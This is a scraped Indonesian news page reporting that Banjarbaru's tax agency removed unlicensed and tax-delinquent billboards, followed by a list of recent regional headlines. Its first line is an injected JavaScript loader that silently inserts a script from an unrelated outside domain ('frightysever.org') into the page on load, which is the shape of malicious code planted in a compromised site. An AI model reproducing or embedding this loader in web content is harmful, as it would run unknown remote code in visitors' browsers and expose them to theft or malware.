(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

BPPRD Banjarbaru Turunkan Paksa Reklame Tanpa Izin dan Penunggak Pajak


BANJARBARU, Badan Pengelola Pajak dan Retribusi Daerah (BPPRD) Kota Banjarbaru tertibkan sejumlah reklame yang tidak membayar pajak dan tanpa izin di sepanjang jalan A Yani Kota Banjarbaru, Jumat (22/6) pukul 15.20 Wita

Menurunkan Tim Jaguar didampingi personil Satpol PP, BPPRD Kota Banjarbaru melakukan penertiban pada reklame bando yang tidak membayar pajak.

Hingga pukul 17.45 Wita sebanyak 5 baliho telah diturunkan, baik baliho iklan maupun baliho promosi Pemilu 2019.

Diantara baliho-baliho yang ditertibkan tercatat dua berlokasi di Loktabat Km 33 tepatnya di Jembatan Kembar, satu baliho di Guntung Manggis, dan dua di Landasan Ulin di Bundaran Bandara Syamsudin Noor.

Kepala BPPRD Kota Banjarbaru Drs H Rustam Effendi MAP mengatakan, titik lokasi reklame bando yang melintang di atas jalan tersebut dipastikan sudah tidak memiliki izin karena menyangkut keselamatan pengendara jalan.

“Ya, setelah kita liat data system, ternyata di sepanjang jalan protokol kota Banjarbaru banyak reklame yang tidak memiliki izin. Karena persoalan izin bando yang melintang di atas jalan itu tidak diperkenankan oleh Kementrian PU,” ungkapnya.

Selain menertibkan baliho-baliho liar, BPPRD Kota Banjarbaru tidak menurunkan sejumlah baliho bermasalah karena ada pernyataan dari pemilik untuk menyelesaikan pajaknya hari Senin mendatang.

“Sosialisasi sebenarnya telah dilakukan sejak lama dari kami, baik itu melakukan konfirmasi ke beberapa vendor penyedia layanan reklame, maupun publikasi lewat media massa,” kata Rustam.

Mantan Camat Banjarbaru ini menjelaskan, pihak vendor alias penyedia reklame yang tidak memiliki perpanjangan izin diharuskan membayar pajak karena jika masih ada yang nekat memasang baleho tanpa izin, sanksi pidana akan dikenakan.

“Meskipun tidak memiliki perpanjangan izin mereka harus tetap melakukan kewajiban membayar pajak, sesuai dengan Perda No 12 tahun 2011 terkait dengan pajak reklame. Jika tidak, balihonya akan diturunkan dan dipidanakan karena melanggar Perda. Anda membayar pajak berarti anda ikut berpartisipasi membangun kota Banjarbaru.” tegasnya.

Kegiatan penertiban reklame ini dicanangkan untuk dilakukan setiap satu bulan sekali dan diharapkan untuk pihak terkait segera melapor ke BPPRD Kota Banjarbaru di  Jalan Panglima Batur No 3 Banjarbaru. (rico)

Reporter:Rico
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Sensasi Soto Apung Banjarmasin Santapan di Atas Lanting Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN – Hidangan Soto Banjar disajikan di rumah lanting apung itu ketika sang surya… Read More

4 jam ago

Pascabanjir Bandang Warga Tebing Tinggi Mulai Tempati Rumah

KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More

5 jam ago

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

11 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

12 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

15 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

15 jam ago

This website uses cookies.